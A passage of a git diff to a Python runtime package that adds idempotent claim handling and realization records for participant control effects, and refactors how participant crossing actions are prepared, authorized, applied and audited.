``owner_record`` requires. + """ + + return f"control-effect-owner:{claim.receipt.operation_id}" + + +def claim_effect( + control_plane: object, + origin: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, +) -> EffectClaim | None: + """Claim this effect for its originating principal, or ``None`` on conflict. + + The claim retains the origin's actor and scopes and names it as parent, so + its claim identity — ``(actor, operation kind, key)`` — is the same for + every drain. The request commitment binds it to this effect's content, so + the store's own replay validation refuses a different request under the + same key rather than returning it. + """ + + context = OperationAdmissionContext.model_validate( + { + **origin.status.context.model_dump(mode="python"), + "operation_kind": OperationKind.PARTICIPANT_CONTROL, + "request_commitment": canonical_json_digest( + {"domain": "participant-control-effect/v1", "effect": request.model_dump(mode="json")} + ), + "parent_operation_id": origin.receipt.operation_id, + } + ) + operation_id = str(uuid4()) + timestamp = _utc_now() + record = ControlPlaneOperationRecord( + receipt=OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at=timestamp, + accepted=True, + context=context, + ), + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + state=OperationState.RUNNING, + submitted_at=timestamp, + updated_at=timestamp, + context=context, + ), + request_fingerprint=context.request_commitment, + idempotency_key=effect_idempotency_key(request), + ) + try: + claimed = control_plane._claim_record(record) + except ValueError as error: + if str(error) == IDEMPOTENCY_CLAIM_CONFLICT: + return None + raise + return EffectClaim(record=claimed, fresh=claimed.receipt.operation_id == operation_id) + + +def owner_record( + control_plane: object, + claim: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, +) -> ControlPlaneOperationRecord | None: + """The owner operation this claim's dispatch submitted, if it exists. + + Resolved inside the owner's own claim scope — ``(actor, operation kind, + key)`` — exactly as the store would replay it. The owner is always + submitted as the originating principal, so its actor is the claim's actor: + a record another actor files under this key, however it learned the key, + is outside that scope and can never answer for the effect. + """ + + kind = _OWNER_OPERATION_KINDS.get(request.target.kind) + if kind is None: + return None + key = owner_idempotency_key(claim) + scope = (claim.status.context.actor_id, kind, key) + return next( + ( + record + for record in control_plane._store.load_records().values() + if record.idempotency_key == key and idempotency_claim_identity(record.receipt.context, key) == scope + ), + None, + ) + + +def claim_outcome( + control_plane: object, + claim: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, +) -> str: + """Classify an effect from its own claim, falling back to its owner's record. + + A terminal claim is the answer. A claim left open — dispatch may have begun + before an interruption — is resolved by the owner operation it submitted, + which only this claim's dispatch could have created; with no terminal owner + record either, the outcome stays uncertain and repeats nothing. + """ + + state = claim.status.state + if state in _TERMINAL_DISPOSITIONS: + return _TERMINAL_DISPOSITIONS[state] + owner = owner_record(control_plane, claim, request) + if owner is not None and owner.status.state in _TERMINAL_DISPOSITIONS: + return _TERMINAL_DISPOSITIONS[owner.status.state] + return _INDETERMINATE + + +def never_dispatched( + control_plane: object, + claim: ControlPlaneOperationRecord, + request: ControlEffectRequestModel, +) -> bool: + """Is there durable proof that this claimed effect's dispatch never began? + + PC-11 lets a committed-but-undispatched key resume only on such proof. Both + owners claim their operation write-ahead, under a key only this claim + derives, before they act — so an unsettled claim with no owner record, + observed under the drain's held mutation, proves no submission ever + started. Anything else may have begun and is never repeated. + """ + + unsettled = claim.status.state in {OperationState.RUNNING, OperationState.INDETERMINATE} + return unsettled and owner_record(control_plane, claim, request) is None + + +def realization( + request: ControlEffectRequestModel, + disposition: str, + receipt_ref: str, +) -> ControlRealizationBindingModel: + return ControlRealizationBindingModel( + effect_id=request.effect_id, + disposition=disposition, + receipt=ControlArtifactReferenceModel( + kind="receipt", + ref=receipt_ref, + revision="rev1", + digest=canonical_json_digest({"effect_id": request.effect_id, "disposition": disposition}), + ), + evidence=(request.evidence[0],), + ) + + +__all__ = ( + "EffectClaim", + "claim_effect", + "claim_outcome", + "effect_idempotency_key", + "never_dispatched", + "origin_principal", + "originating_operations", + "owner_idempotency_key", + "owner_record", + "realization", + "require_drain_authority", +) diff --git a/implementations/python/packages/raes_runtime/participant_control_records.py b/implementations/python/packages/raes_runtime/participant_control_records.py new file mode 100644 index 000000000..b78cfbf4b --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_control_records.py @@ -0,0 +1,216 @@ +"""RUN-320 durable realization transitions for dispatched control effects. + +PC-10 keeps a committed evaluation immutable: an outcome is recorded as a +separately identified transition beside its causal evaluation, never as an +edit to it. The transition reuses the published API-424 evaluation carrier and +the ADR-104 store, so no second journal or audit channel is introduced. + +An outcome is recorded in the same atomic commit that closes the effect's own +claim: either the claim closes and the transition is appended together, or +neither happens and the claim stays open for the incumbent recovery path. + +If that commit was interrupted, startup recovery has already terminalized the +claim, and a terminal record is immutable. Its outcome — once the owner's own +record proves it — is then appended under a record linked to the claim. The +store admits that record only after the incumbent recovery lifecycle has +resolved the claim, so the recovery barrier stays an operator's decision and a +drain never reports an outcome as recorded while the barrier still stands. A +transition is identified by its own content, so a replay of the same outcome +is recognised instead of appended twice. +""" + +from __future__ import annotations + +from dataclasses import replace +from typing import cast +from uuid import uuid4 + +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel +from raes_contracts.contracts.participant_control_resolution import ( + validate_participant_control_resolved_context, +) +from raes_contracts.contracts.participant_control_results import ControlRealizationBindingModel +from raes_contracts.operation_lifecycle import OperationAdmissionContext +from raes_contracts.planning import RuntimeDomain +from raes_contracts.runtime_state import ( + OperationReceipt, + OperationState, + OperationStatus, + operation_terminal_diagnostics, +) + +from .control_plane_execution import _utc_now +from .control_plane_store import AuditEvent, ControlPlaneOperationRecord +from .participant_control_binding import fenced_validation_context +from .participant_crossing_state_cut import expected_participant_history_heads + +_REALIZATION_SUFFIX = ":realization:" +_TRANSITION_DIGEST_LENGTH = 16 +_CLOSING_STATES = {"applied": OperationState.SUCCEEDED, "failed": OperationState.FAILED} + + +def commit_participant_control_realization( + control_plane: object, + binding: object, + evaluation: ParticipantControlEvaluationModel, + realization: ControlRealizationBindingModel, + *, + claim: ControlPlaneOperationRecord, +) -> None: + """Close an effect's claim and append its realization in one commit. + + The claim already retains the originating principal and names it as + parent, so the record that carries this outcome — and its actor-bound + audit — are attributed to that principal; the drain caller's request is + audited separately where it is authorized. An open claim is closed by this + commit. A claim recovery already terminalized is immutable, so its outcome + is carried by a linked record instead. The caller holds the drain's + mutation, so the history read here is the one the commit applies to. + """ + + state = _CLOSING_STATES.get(realization.disposition) + if state is None: + return + transition = ParticipantControlEvaluationModel( + schema_version=evaluation.schema_version, + evaluation_id=_transition_id(evaluation, realization), + request=evaluation.request, + results=evaluation.results, + support=evaluation.support, + composition=evaluation.composition, + realizations=(realization,), + ) + validate_participant_control_resolved_context( + transition, fenced_validation_context(control_plane, binding, transition) + ) + participant_address = evaluation.request.context.participant_address + snapshot = control_plane._snapshot + history = snapshot.participant_control_evaluation_history + if any(record.get("evaluation_id") == transition.evaluation_id for record in history.get(participant_address, ())): + return + closed: ControlPlaneOperationRecord = _closed_carrier(control_plane, claim, transition, state, participant_address) + control_plane._commit_participant_transition( + expected_history_heads=expected_participant_history_heads(snapshot, participant_address), + snapshot=snapshot.with_entries( + dict(snapshot.entries), + participant_control_evaluation_history={ + **history, + participant_address: [*history.get(participant_address, ()), transition.model_dump(mode="json")], + }, + ), + record=closed, + audit_event=_realization_audit(closed, participant_address, transition), + ) + + +def _closed_carrier( + control_plane: object, + claim: ControlPlaneOperationRecord, + transition: ParticipantControlEvaluationModel, + state: OperationState, + participant_address: str, +) -> ControlPlaneOperationRecord: + """The terminal record this commit writes: the open claim, or a record linked to it. + + An open claim closes in the effect's own state. A linked record exists only + to carry a proven outcome, so recording it is what succeeds. + """ + + carrier = claim + if claim.status.state is not OperationState.RUNNING: + carrier = _linked_carrier(control_plane, claim, transition) + state = OperationState.SUCCEEDED + return cast( + ControlPlaneOperationRecord, + replace( + carrier, + status=replace( + carrier.status, + state=state, + updated_at=_utc_now(), + diagnostics=operation_terminal_diagnostics(state, []), + changed_addresses=[participant_address], + ), + ), + ) + + +def _linked_carrier( + control_plane: object, + claim: ControlPlaneOperationRecord, + transition: ParticipantControlEvaluationModel, +) -> ControlPlaneOperationRecord: + """Claim the record that carries a terminal claim's proven outcome. + + It retains the claim's principal and names the claim as its parent. It + needs no client key: the history's own content check already makes the + append happen once. While the terminal claim is an unresolved + indeterminate operation the store refuses this new claim, which is the + incumbent barrier doing its job — the error propagates, and the append + proceeds once an operator has resolved the claim. + """ + + context = OperationAdmissionContext.model_validate( + { + **claim.status.context.model_dump(mode="python"), + "request_commitment": canonical_json_digest( + {"operation": "participant-control-realization", "evaluation_id": transition.evaluation_id} + ), + "parent_operation_id": claim.receipt.operation_id, + } + ) + operation_id = str(uuid4()) + timestamp = _utc_now() + running = ControlPlaneOperationRecord( + receipt=OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at=timestamp, + accepted=True, + context=context, + ), + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + state=OperationState.RUNNING, + submitted_at=timestamp, + updated_at=timestamp, + context=context, + ), + request_fingerprint=context.request_commitment, + ) + return control_plane._claim_record(running) + + +def _transition_id(evaluation: ParticipantControlEvaluationModel, realization: ControlRealizationBindingModel) -> str: + """Identify one transition by the evaluation and the outcome it records.""" + + digest = canonical_json_digest([realization.model_dump(mode="json")]) + return evaluation.evaluation_id + _REALIZATION_SUFFIX + digest[:_TRANSITION_DIGEST_LENGTH] + + +def _realization_audit( + record: ControlPlaneOperationRecord, + participant_address: str, + transition: ParticipantControlEvaluationModel, +) -> AuditEvent: + """The operation's audit is bound to the operation's own actor: the origin.""" + + return AuditEvent( + timestamp=record.status.updated_at, + action="record_participant_control_realization", + identity=record.status.context.actor_id, + allowed=True, + target=participant_address, + operation_id=record.receipt.operation_id, + reason="recorded", + details={ + "control_evaluation_id": transition.evaluation_id, + "control_selection_id": transition.request.selection.selection_id, + "control_disposition": transition.composition.disposition, + }, + ) + + +__all__ = ("commit_participant_control_realization",) diff --git a/implementations/python/packages/raes_runtime/participant_crossing_action.py b/implementations/python/packages/raes_runtime/participant_crossing_action.py index 026ecf2af..279384a23 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_action.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_action.py @@ -26,8 +26,10 @@ class ActionIngressExecution: def action_operation_record( crossing: PreparedParticipantCrossing, result: object, + *, + terminal_state: OperationState | None = None, ) -> ControlPlaneOperationRecord: - state = OperationState.SUCCEEDED if result.success else OperationState.FAILED + state = terminal_state or (OperationState.SUCCEEDED if result.success else OperationState.FAILED) diagnostics = operation_terminal_diagnostics(state, list(result.diagnostics)) receipt = crossing.record.receipt status = OperationStatus( diff --git a/implementations/python/packages/raes_runtime/participant_crossing_boundary.py b/implementations/python/packages/raes_runtime/participant_crossing_boundary.py index acac4542b..566abaa51 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_boundary.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_boundary.py @@ -2,26 +2,32 @@ from __future__ import annotations -from dataclasses import replace +from dataclasses import dataclass, replace from raes_contracts.contracts import ParticipantFlowSinkKind from raes_contracts.contracts.participant_crossing import ( ParticipantCrossingSubjectReferenceModel, ) from raes_contracts.participant_binding import ParticipantActionAdmissionRequest -from raes_contracts.runtime_state import OperationKind, OperationReceipt, OperationState +from raes_contracts.runtime_state import ApplyResult, OperationKind, OperationReceipt, OperationState from raes_processor.models import ParticipantBehaviorRuntime from .control_plane_execution import apply_authorized_participant_action from .control_plane_lifecycle import runtime_owned from .control_plane_mutation import control_plane_mutation, external_control_plane_call, mutation_entry from .control_plane_security import ControlPlaneIdentity +from .mixed_runtime_dispatch import ( + PreparedMixedActionDispatch, + prepare_mixed_action_dispatch, +) +from .mixed_runtime_result import mixed_action_terminal_state, record_mixed_action_result from .participant_control_intents import ParticipantControlIntent, ParticipantControlIntentBase from .participant_control_mediation import ( bind_participant_control_request, prepare_participant_control_transition, record_participant_control, ) +from .participant_control_orchestration import admit_ingress_sinks from .participant_crossing_action import ( ActionIngressExecution, action_operation_record, @@ -47,12 +53,20 @@ ) from .participant_crossing_records import _expected_history_heads from .participant_flow_sink import ( + ParticipantFlowSinkDecision, apply_flow_sink_details, - early_crossing_receipt, - resolve_flow_sink_denial, ) +@dataclass(frozen=True) +class _PreparedActionEffect: + crossing: PreparedParticipantCrossing + request: ParticipantActionAdmissionRequest | None = None + mixed_dispatch: PreparedMixedActionDispatch | None = None + sink_decision: ParticipantFlowSinkDecision | None = None + early_receipt: OperationReceipt | None = None + + class ParticipantCrossingControlIngressMixin: """Own one RUN-319 decision and RUN-310 transition under one state cut.""" @@ -142,18 +156,14 @@ def _record_governed_participant_control_authorized( idempotency_key=idempotency_key, incumbent_carrier=intent, ) - early = early_crossing_receipt(self, crossing) - if early is not None: - return early - - sink_decision, sink_receipt = resolve_flow_sink_denial( + crossing, sink_decision, settled = admit_ingress_sinks( self, crossing, sink_kind=ParticipantFlowSinkKind.PARTICIPANT_CROSSING, action="record_participant_control", ) - if sink_receipt is not None: - return sink_receipt + if settled is not None: + return settled governed_intent = _governed_control_intent(self, crossing, intent) governed_bound = bind_participant_control_request( @@ -177,6 +187,9 @@ def _record_governed_participant_control_authorized( next_snapshot = transition.next_snapshot.with_entries( dict(transition.next_snapshot.entries), participant_crossing_history=crossing.next_snapshot.participant_crossing_history, + # The admitted composition committed with this crossing; the + # supervisory transition carries it, never drops it. + participant_control_evaluation_history=(crossing.next_snapshot.participant_control_evaluation_history), ) record = replace( transition.record, @@ -244,92 +257,174 @@ def _execute_action_ingress_crossing_authorized( ) -> OperationReceipt: with control_plane._participant_control_lock: control_plane._reload_derived_state() - canonical = _action_crossing_intent( - control_plane, - participant_behavior, - request, - execution.crossing_evidence, - execution.identity, - ) - crossing = prepare_participant_crossing( - control_plane, - canonical, - identity=execution.identity, - idempotency_key=execution.idempotency_key, - incumbent_carrier=request, - ) - early = early_crossing_receipt(control_plane, crossing) - if early is not None: - return early + prepared = _prepare_action_effect(control_plane, participant_behavior, request, execution) + if prepared.early_receipt is not None: + return prepared.early_receipt + assert prepared.request is not None + replay, authorization_heads = _authorize_action_effect(control_plane, prepared) + if replay is not None: + return replay + result = _apply_action_effect(control_plane, prepared, execution) + return _commit_action_effect(control_plane, request, prepared, result, authorization_heads) - sink_decision, sink_receipt = resolve_flow_sink_denial( - control_plane, - crossing, - sink_kind=ParticipantFlowSinkKind.ACTION_ARGUMENT, - action="record_participant_crossing", - ) - if sink_receipt is not None: - return sink_receipt - - governed_request = _governed_action_request(control_plane, crossing, request) - _require_action_binding(participant_behavior, governed_request) - _require_governed_subject(crossing, _action_subject(control_plane, governed_request)) - authorization_record = replace( - crossing.record, - status=replace(crossing.record.status, state=OperationState.RUNNING), - ) - authorization_audit = combined_crossing_audit( - crossing.audit_event, - crossing, - action="authorize_participant_action", - allowed=True, - reason="authorized", - ) - if sink_decision is not None: - authorization_audit = apply_flow_sink_details(authorization_audit, sink_decision) - control_plane._commit_participant_transition( - expected_history_heads=crossing.expected_history_heads, - snapshot=crossing.next_snapshot, - record=authorization_record, - audit_event=authorization_audit, - ) - with control_plane._mutation_authority.external_call(): - result = apply_authorized_participant_action( - method=execution.method, - request=governed_request, - snapshot=control_plane._snapshot, - address=execution.address, - information_state_context_resolver=getattr( - control_plane, - "_information_state_context_resolver", - None, - ), - ) - next_snapshot = result.snapshot.with_entries( - dict(result.snapshot.entries), - participant_crossing_history=crossing.next_snapshot.participant_crossing_history, - ) - record = replace( - action_operation_record(crossing, result), - result_history_heads=_expected_history_heads(next_snapshot, request.participant_address), - ) - audit = combined_crossing_audit( - crossing.audit_event, - crossing, - action="admit_participant_action", - allowed=result.success, - reason="accepted" if result.success else "backend-admission-failed", +def _prepare_action_effect( + control_plane: object, + behavior: ParticipantBehaviorRuntime, + request: ParticipantActionAdmissionRequest, + execution: ActionIngressExecution, +) -> _PreparedActionEffect: + canonical = _action_crossing_intent( + control_plane, + behavior, + request, + execution.crossing_evidence, + execution.identity, + ) + crossing = prepare_participant_crossing( + control_plane, + canonical, + identity=execution.identity, + idempotency_key=execution.idempotency_key, + incumbent_carrier=request, + ) + crossing, sink_decision, settled = admit_ingress_sinks( + control_plane, + crossing, + sink_kind=ParticipantFlowSinkKind.ACTION_ARGUMENT, + action="record_participant_crossing", + ) + if settled is not None: + return _PreparedActionEffect(crossing=crossing, early_receipt=settled) + governed = _governed_action_request(control_plane, crossing, request) + _require_action_binding(behavior, governed) + _require_governed_subject(crossing, _action_subject(control_plane, governed)) + return _PreparedActionEffect( + crossing=crossing, + request=governed, + mixed_dispatch=prepare_mixed_action_dispatch(control_plane, governed, crossing, sink_decision), + sink_decision=sink_decision, + ) + + +def _authorize_action_effect( + control_plane: object, + prepared: _PreparedActionEffect, +) -> tuple[OperationReceipt | None, dict[str, str | None]]: + crossing = prepared.crossing + mixed = prepared.mixed_dispatch + snapshot = mixed.snapshot if mixed is not None else crossing.next_snapshot + expected_heads = mixed.expected_history_heads if mixed is not None else crossing.expected_history_heads + result_heads = mixed.committed_history_heads if mixed is not None else crossing.record.result_history_heads + authorization = replace( + crossing.record, + status=replace(crossing.record.status, state=OperationState.RUNNING), + decision_history_heads=expected_heads, + result_history_heads=result_heads, + ) + accepted = replace( + authorization, + status=replace(authorization.status, state=OperationState.ACCEPTED, diagnostics=[], changed_addresses=[]), + ) + claimed = control_plane._claim_record(accepted) + if claimed.receipt.operation_id != accepted.receipt.operation_id: + return claimed.receipt, expected_heads + audit = combined_crossing_audit( + crossing.audit_event, + crossing, + action="authorize_participant_action", + allowed=True, + reason="authorized", + ) + if prepared.sink_decision is not None: + audit = apply_flow_sink_details(audit, prepared.sink_decision) + control_plane._commit_participant_transition( + expected_history_heads=expected_heads, + snapshot=snapshot, + record=authorization, + audit_event=audit, + ) + return None, expected_heads + + +def _apply_action_effect( + control_plane: object, + prepared: _PreparedActionEffect, + execution: ActionIngressExecution, +) -> ApplyResult: + mixed = prepared.mixed_dispatch + with control_plane._mutation_authority.external_call(): + result = apply_authorized_participant_action( + method=mixed.method if mixed is not None else execution.method, + request=prepared.request, + snapshot=control_plane._snapshot, + address=mixed.address if mixed is not None else execution.address, + information_state_context_resolver=getattr( + control_plane, + "_information_state_context_resolver", + None, + ), ) - if sink_decision is not None: - audit = apply_flow_sink_details(audit, sink_decision) - control_plane._commit_participant_transition( - expected_history_heads=crossing.record.result_history_heads, - snapshot=next_snapshot, - record=record, - audit_event=audit, + if mixed is not None and mixed.stage_readback is not None and result.success: + try: + mixed.stage_readback(result) + except Exception: + assert mixed.capture is not None + mixed.capture.stage_readback_failed = True + return result + + +def _commit_action_effect( + control_plane: object, + request: ParticipantActionAdmissionRequest, + prepared: _PreparedActionEffect, + result: ApplyResult, + authorization_expected_heads: dict[str, str | None], +) -> OperationReceipt: + crossing = prepared.crossing + mixed_dispatch = prepared.mixed_dispatch + next_snapshot = result.snapshot.with_entries( + dict(result.snapshot.entries), + participant_crossing_history=crossing.next_snapshot.participant_crossing_history, + ) + next_snapshot = record_mixed_action_result( + control_plane, + next_snapshot, + crossing, + success=result.success, + capture=mixed_dispatch.capture if mixed_dispatch is not None else None, + ) + terminal_state = mixed_action_terminal_state(mixed_dispatch, result) + result_history_heads = _expected_history_heads(next_snapshot, request.participant_address) + if mixed_dispatch is not None: + result_history_heads[f"mixed_composition_history:{control_plane._mixed_runtime.entry.run_id}"] = ( + next_snapshot.mixed_composition_states[control_plane._mixed_runtime.entry.run_id]["history_head"] ) - return record.receipt + record = replace( + action_operation_record(crossing, result, terminal_state=terminal_state), + decision_history_heads=authorization_expected_heads, + result_history_heads=result_history_heads, + ) + audit = combined_crossing_audit( + crossing.audit_event, + crossing, + action="admit_participant_action", + allowed=terminal_state is OperationState.SUCCEEDED, + reason="accepted" if terminal_state is OperationState.SUCCEEDED else "backend-admission-unresolved", + ) + if prepared.sink_decision is not None: + audit = apply_flow_sink_details(audit, prepared.sink_decision) + control_plane._commit_participant_transition( + expected_history_heads=( + mixed_dispatch.committed_history_heads + if mixed_dispatch is not None + else crossing.record.result_history_heads + ), + snapshot=next_snapshot, + record=record, + audit_event=audit, + ) + return record.receipt def _governed_control_intent( diff --git a/implementations/python/packages/raes_runtime/participant_crossing_egress.py b/implementations/python/packages/raes_runtime/participant_crossing_egress.py index b45505f2d..653485075 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_egress.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_egress.py @@ -24,6 +24,8 @@ from raes_contracts.runtime_state import OperationKind, OperationState from .control_plane_mutation import control_plane_mutation, external_control_plane_call, mutation_entry +from .control_plane_store import ControlPlaneOperationRecord +from .participant_control_orchestration import admit_participant_control from .participant_crossing_commit import commit_prepared_crossing, participant_crossing_permitted from .participant_crossing_mediation import ( ParticipantCrossingEvidence, @@ -36,6 +38,7 @@ from .participant_flow_sink import ( ParticipantFlowSinkDecision, flow_sink_audit_details, + flow_sink_denied_record, resolve_participant_flow_sink_decision, ) @@ -129,11 +132,7 @@ def _serialize_participant_view_authorized( incumbent_carrier=view, ) if prepared.existing_receipt is not None: - if prepared.record.status.state is not OperationState.SUCCEEDED: - raise PermissionError(_PROJECTION_NOT_PERMITTED) - if prepared.record.result_payload is None: - raise ValueError("idempotent participant projection is missing its governed result") - return type(view).model_validate(prepared.record.result_payload) + return _replayed_projection_view(view, prepared.record) if not participant_crossing_permitted(prepared): prepared = _with_opacity_egress_observation( control_plane, @@ -144,6 +143,7 @@ def _serialize_participant_view_authorized( raise PermissionError(_PROJECTION_NOT_PERMITTED) sink_decision = _enforce_egress_flow_sink(control_plane, prepared) + prepared = _enforce_egress_participant_control(control_plane, prepared) governed = _governed_egress_view(control_plane, prepared, view, serialization, subject) prepared = _with_opacity_egress_observation( @@ -163,10 +163,23 @@ def _serialize_participant_view_authorized( ), ), ) - commit_prepared_crossing(control_plane, prepared) + receipt = commit_prepared_crossing(control_plane, prepared) + if receipt.operation_id != prepared.record.receipt.operation_id: + records = control_plane._store.load_records() + return _replayed_projection_view(view, records.get(receipt.operation_id)) return governed +def _replayed_projection_view(view: _ViewT, record: ControlPlaneOperationRecord | None) -> _ViewT: + """Read back only a successful incumbent's governed projection.""" + + if record is not None and record.status.state is not OperationState.SUCCEEDED: + raise PermissionError(_PROJECTION_NOT_PERMITTED) + if record is None or record.result_payload is None: + raise ValueError("idempotent participant projection is missing its governed result") + return type(view).model_validate(record.result_payload) + + def _governed_egress_view( control_plane: object, prepared: PreparedParticipantCrossing, @@ -218,6 +231,22 @@ def _enforce_egress_flow_sink( return sink_decision +def _enforce_egress_participant_control( + control_plane: object, + prepared: PreparedParticipantCrossing, +) -> PreparedParticipantCrossing: + """Compose modular control; a non-eligible result refuses serialization.""" + + admitted, receipt = admit_participant_control( + control_plane, + prepared, + sink_kind=ParticipantFlowSinkKind.PARTICIPANT_OUTPUT, + ) + if receipt is not None: + raise PermissionError(_PROJECTION_NOT_PERMITTED) + return admitted + + def _with_flow_sink_permitted_audit( prepared: PreparedParticipantCrossing, decision: ParticipantFlowSinkDecision, @@ -246,6 +275,7 @@ def _with_flow_sink_denied_audit( PreparedParticipantCrossing, replace( prepared, + record=flow_sink_denied_record(prepared), audit_event=replace( prepared.audit_event, allowed=False, diff --git a/implementations/python/packages/raes_runtime/participant_crossing_mediation.py b/implementations/python/packages/raes_runtime/participant_crossing_mediation.py index 411489ada..50a6c82ba 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_mediation.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_mediation.py @@ -2,8 +2,6 @@ from __future__ import annotations -import hashlib -import json from dataclasses import dataclass, field from datetime import UTC, datetime from typing import Protocol @@ -250,8 +248,7 @@ def prepare_participant_crossing( _CrossingDecisionPreparation, _expected_history_heads, _prepare_crossing_decision, - _scoped_idempotency_key, - _semantic_fingerprint, + _semantic_request, ) authenticated = _require_crossing_identity(control_plane, intent, identity) @@ -259,17 +256,6 @@ def prepare_participant_crossing( if resolver is None: raise ValueError("participant crossing policy resolver is required") expected_heads = _expected_history_heads(control_plane._snapshot, intent.participant_address) - scoped_key = _scoped_idempotency_key( - control_plane, - intent, - authenticated, - idempotency_key, - ) - existing = control_plane._store.find_by_idempotency(scoped_key) if scoped_key else None - fingerprint_heads = expected_heads - if existing is not None: - _require_replay_state_cut(existing, expected_heads) - fingerprint_heads = existing.decision_history_heads try: resolution = _resolve_crossing_policy( control_plane, @@ -284,31 +270,16 @@ def prepare_participant_crossing( authenticated, idempotency_key, expected_heads=expected_heads, - scoped_key=scoped_key, - existing=existing, ) support = _resolve_backend_support(control_plane, intent, resolution) gates = _decision_gates(_applicable_semantic_gates(intent, resolution), support.gate) disposition = _decision_disposition(gates, resolution) - semantic_fingerprint = _semantic_fingerprint( + context = operation_admission_context( control_plane, - intent, - authenticated, - resolution, - support, - fingerprint_heads, + kind=OperationKind.PARTICIPANT_CROSSING, + request=_semantic_request(intent, resolution, support), + identity=authenticated, ) - if existing is not None: - if existing.request_fingerprint != semantic_fingerprint: - raise ValueError("Idempotency-Key was reused with different semantics.") - control_plane._operations[existing.receipt.operation_id] = existing - return _existing_preparation( - control_plane, - intent, - authenticated, - expected_heads, - existing, - ) return _prepare_crossing_decision( control_plane, intent, @@ -319,38 +290,9 @@ def prepare_participant_crossing( gates=gates, disposition=disposition, expected_heads=expected_heads, - semantic_fingerprint=semantic_fingerprint, - scoped_key=scoped_key, - ), - ) - - -def _existing_preparation( - control_plane: object, - intent: ParticipantCrossingIntent, - identity: ControlPlaneIdentity, - expected_heads: dict[str, str | None], - existing: ControlPlaneOperationRecord, -) -> PreparedParticipantCrossing: - return PreparedParticipantCrossing( - intent=intent, - identity=identity, - next_snapshot=control_plane._snapshot, - expected_history_heads=expected_heads, - record=existing, - audit_event=AuditEvent( - timestamp=existing.status.updated_at, - action="participant_crossing_replay", - identity=identity.identity, - allowed=existing.status.state is OperationState.SUCCEEDED, - target=intent.participant_address, - operation_id=existing.receipt.operation_id, - reason="idempotent-replay", + context=context, + idempotency_key=idempotency_key, ), - decision=None, - disposition=None, - governed_subject=intent.subject, - existing_receipt=existing.receipt, ) @@ -361,34 +303,19 @@ def _prepare_policy_unresolved( idempotency_key: str, *, expected_heads: dict[str, str | None], - scoped_key: str, - existing: ControlPlaneOperationRecord | None, ) -> PreparedParticipantCrossing: - del idempotency_key - fingerprint_heads = existing.decision_history_heads if existing is not None else expected_heads stable_intent = intent.model_dump(mode="json") stable_intent.pop("effective_order", None) - fingerprint_payload = { - "target": control_plane.target_name, - "identity": identity.identity, - "decision_history_heads": fingerprint_heads, - "intent": stable_intent, - "outcome": "policy-unresolved", - } - semantic_fingerprint = hashlib.sha256( - json.dumps(fingerprint_payload, sort_keys=True, separators=(",", ":")).encode() - ).hexdigest() - if existing is not None: - if existing.request_fingerprint != semantic_fingerprint: - raise ValueError("Idempotency-Key was reused with different semantics.") - control_plane._operations[existing.receipt.operation_id] = existing - return _existing_preparation( - control_plane, - intent, - identity, - expected_heads, - existing, - ) + operation_context = operation_admission_context( + control_plane, + kind=OperationKind.PARTICIPANT_CROSSING, + request={ + "domain": "participant-crossing-policy-unresolved/v1", + "intent": stable_intent, + "outcome": "policy-unresolved", + }, + identity=identity, + ) operation_id = str(uuid4()) submitted_at = _utc_now() diagnostic = Diagnostic( @@ -397,13 +324,6 @@ def _prepare_policy_unresolved( address=intent.participant_address, message="Participant crossing policy could not be resolved.", ) - operation_context = operation_admission_context( - control_plane, - kind=OperationKind.PARTICIPANT_CROSSING, - request=intent, - identity=identity, - run_scope=f"run:{intent.episode_id}", - ) receipt = OperationReceipt( operation_id=operation_id, domain=RuntimeDomain.PARTICIPANT, @@ -424,8 +344,8 @@ def _prepare_policy_unresolved( diagnostics=operation_terminal_diagnostics(OperationState.FAILED, [diagnostic]), changed_addresses=[intent.participant_address], ), - request_fingerprint=semantic_fingerprint, - idempotency_key=scoped_key, + request_fingerprint=operation_context.request_commitment, + idempotency_key=idempotency_key, decision_history_heads=expected_heads, result_history_heads=expected_heads, ) @@ -455,16 +375,6 @@ def _prepare_policy_unresolved( ) -def _require_replay_state_cut( - existing: ControlPlaneOperationRecord, - current_heads: dict[str, str | None], -) -> None: - if not existing.decision_history_heads or not existing.result_history_heads: - raise ValueError("idempotent participant crossing is missing its state-cut binding") - if current_heads != existing.result_history_heads: - raise ValueError("Idempotency-Key cannot replay after the participant state cut advanced.") - - def validate_persisted_crossing_history( snapshot: RuntimeSnapshot, resolver: ParticipantCrossingPolicyResolver, diff --git a/implementations/python/packages/raes_runtime/participant_crossing_operation.py b/implementations/python/packages/raes_runtime/participant_crossing_operation.py index d5dbcb152..2799705cc 100644 --- a/implementations/python/packages/raes_runtime/participant_crossing_operation.py +++ b/implementations/python/packages/raes_runtime/participant_crossing_operation.py @@ -30,8 +30,7 @@ def participant_crossing_operation_artifacts( identity: ControlPlaneIdentity, decision: ParticipantCrossingOccurrenceModel, disposition: ParticipantCrossingDecisionDisposition, - semantic_fingerprint: str, - scoped_key: str, + idempotency_key: str, context: OperationAdmissionContext, ) -> tuple[ControlPlaneOperationRecord, AuditEvent]: """Build one terminal operation carrier and its bounded audit event.""" @@ -77,8 +76,8 @@ def participant_crossing_operation_artifacts( record = ControlPlaneOperationRecord( receipt=receipt, status=status, - request_fingerprint=semantic_fingerprint, - idempotency_key=scoped_key, + request_fingerprint=context.request_commitment, + idempotency_key=idempotency_key, ) occurrence = decision.occurrence audit_event = AuditEvent( diff --git a/implementations/python/packages/raes_runtime/participant_crossing_policy.py b/implementations/python/packages/raes_runtime/participant_crossing_policy.py index ed07cbfdb..227fc7ced 100644 --- 